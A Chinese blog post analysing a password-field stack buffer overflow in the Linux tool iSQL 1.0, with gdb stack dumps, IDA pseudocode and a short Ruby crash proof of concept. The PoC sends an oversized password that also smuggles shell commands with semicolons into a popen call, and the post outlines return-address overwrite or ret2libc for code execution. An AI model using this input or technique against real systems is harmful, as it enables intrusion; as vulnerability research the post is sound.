iSQL Linux SQL管理工具缓冲区溢出漏洞

作者:k0shl 转载请注明出处:https://whereisk0shl.top


漏洞说明


软件下载:
https://www.exploit-db.com/apps/56f39bcde969b1eaed2f3c3ed918cd9c-iSQL-master.zip

PoC:

puts "iSQL 1.0 - Buffer Overflow"
puts " - by hahwul"
puts " - Run BUG.."
buffer = "A"*800
system("(sleep 5; echo -en 'hwul\n';sleep 1;echo -en 'asdf;#{buffer};echo 1';sleep 10) | ./isql")

调试环境:
Linux kali 2.0


漏洞复现


iSQL是linux下的一款SQL管理工具,用于管理处理数据库,在iSQL处理登陆请求的时候,由于对于Password传入长度没有进行控制,而是直接执行字符串拷贝操作,从而导致了缓冲区溢出,通过控制返回地址可以达到任意代码执行的效果,下面对此漏洞进行详细分析。

首先连接isql,并且登陆,正常登陆的情况下。

*************** welcome to ISQL ****************
* version 1.0                                  *
* Designed by RL                               *
* Copyright (c) 2011, RL. All rights reserved  *
************************************************

>username:aa
>password:aa
verify failure , try again !
>username:admin
>password:admin

 hi,admin

在登录时,发送畸形数据Password,产生Segmentation default错误

>username:test
>password:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.

这时候回溯一下堆栈调用情况。

(gdb) bt
#0  0x00000000004069ba in get_MD5 ()
#1  0x4141414141414141 in ?? ()
#2  0x4141414141414141 in ?? ()
#3  0x4141414141414141 in ?? ()
#4  0x4141414141414141 in ?? ()

发现此时堆栈已经被畸形数据破坏,可见是缓冲区覆盖造成的这种情况,直接观察当前地址。

   0x00000000004069ad <+205>:   mov    %rax,%rdi
   0x00000000004069b0 <+208>:   callq  0x400ca0 <fread@plt>
   0x00000000004069b5 <+213>:   mov    -0x8(%rbp),%rax
   0x00000000004069b9 <+217>:   leaveq 
=> 0x00000000004069ba <+218>:   retq   

正处于某个返回地址,可见是返回地址被覆盖,造成的segmentation default错误,接下来对此漏洞进行详细分析。


漏洞分析


通过gdb下的disassemble命令查看反汇编代码,可以看到之前提到的ret指令的返回地址所处的函数入口。

(gdb) disassemble
Dump of assembler code for function get_MD5:
   0x00000000004068e0 <+0>: push   %rbp
   0x00000000004068e1 <+1>: mov    %rsp,%rbp
   0x00000000004068e4 <+4>: sub    $0x90,%rsp

在入口4068e0位置下断点,重新连接iSQL,触发漏洞,命中断点。

Breakpoint 1, 0x00000000004068e0 in get_MD5 ()
(gdb) x/10x $rsp
0x7fffffffe218: 0x00407211  0x00000000  0x41414141  0x41414141
0x7fffffffe228: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffe238: 0x41414141  0x41414141

可以看到,现在畸形字符串已经传入了,查看一下寄存器中的情况。

(gdb) info registers
rax            0x7fffffffe220   140737488347680
rbx            0x0  0
rcx            0x7ffff7ff3321   140737354085153
rdx            0x7ffff7ad2980   140737348708736
rsi            0x1  1
rdi            0x7fffffffe220   140737488347680
rbp            0x7fffffffe290   0x7fffffffe290
rsp            0x7fffffffe218   0x7fffffffe218

注意rdi的值,这里必须提一下,我现在在三个白帽出题,正好接触了x86和x64的不同,其中最大的一个不同是x64是通过寄存器保存参数的,其中,第一个参数就保存在rdi寄存器中。

直接查看一下rdi寄存器中的值。

(gdb) x/10x $rdi
0x7fffffffe220: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffe230: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffe240: 0x41414141  0x41414141

已经是畸形字符串了,接下来单步跟踪,发现了一处非常关键的拷贝操作。strcpy。

Breakpoint 1, 0x0000000000406951 in get_MD5 ()
(gdb) x/16x $rsp
0x7fffffffe180: 0x00000000  0x00000000  0xffffe220  0x00007fff

命中后可以看到,待拷贝的内容就是rdi,也就是畸形字符串,接下来执行拷贝结束后,观察一下栈内情况。

(gdb) x/100x $rsp
0x7fffffffe180: 0x00000000  0x00000000  0xffffe220  0x00007fff
0x7fffffffe190: 0x6f686365  0x41414120  0x41414141  0x41414141
0x7fffffffe1a0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffe1b0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffe1c0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffe1d0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffe1e0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffe1f0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffe200: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffe210: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffe220: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffe230: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffe240: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffe250: 0x41414141  0x41414141  0x41414141  0x41414141

已经被畸形字符串覆盖,通过IDA查看一下伪代码。

void *__fastcall get_MD5(const char *a1)
{
  char *v1; // rax@1
  char command[112]; // [sp+10h] [bp-80h]@1
  signed __int16 v4; // [sp+14h] [bp-7Ch]@1
  FILE *stream; // [sp+80h] [bp-10h]@1
  void *s; // [sp+88h] [bp-8h]@1

  s = malloc(0x21uLL);
  memset(s, 0, 8uLL);
  memset(command, 0, 0x64uLL);
  *(_DWORD *)command = 1869112165;
  v4 = 32;
  strcpy((char *)&v4 + 1, a1);
  v1 = &command[strlen(a1) + 5];
  *(_QWORD *)v1 = 8463166830203141152LL;
  *((_WORD *)v1 + 4) = 109;
  stream = popen(command, "r");
  fread(s, 1uLL, 0x20uLL, stream);
  return s;
}

*a1作为密码指针传入,在strcpy被调用,从而导致缓冲区溢出,get_MD5应该是将password转换成MD5格式,接下来看一下main函数的调用。

    char username[32];
    char passwd[32];
    while (USER_NUM==-1){
        printf(">username:");
        scanf("%s",username);
        printf(">password:");
        scanf("%s",passwd);
        md5=get_MD5(passwd);

可见,在输入password的时候,并没有对password长度进行控制,而是直接写入指针,之后指针传入get_MD5进行操作,从而导致了缓冲区溢出,通过覆盖返回地址,或者用ret2libc,可以导致任意代码执行。

Comments
Write a Comment
  • Python4 reply

    编译之后运行,直接segment fault了

    • korma reply

      @Python4 找到解决办法了吗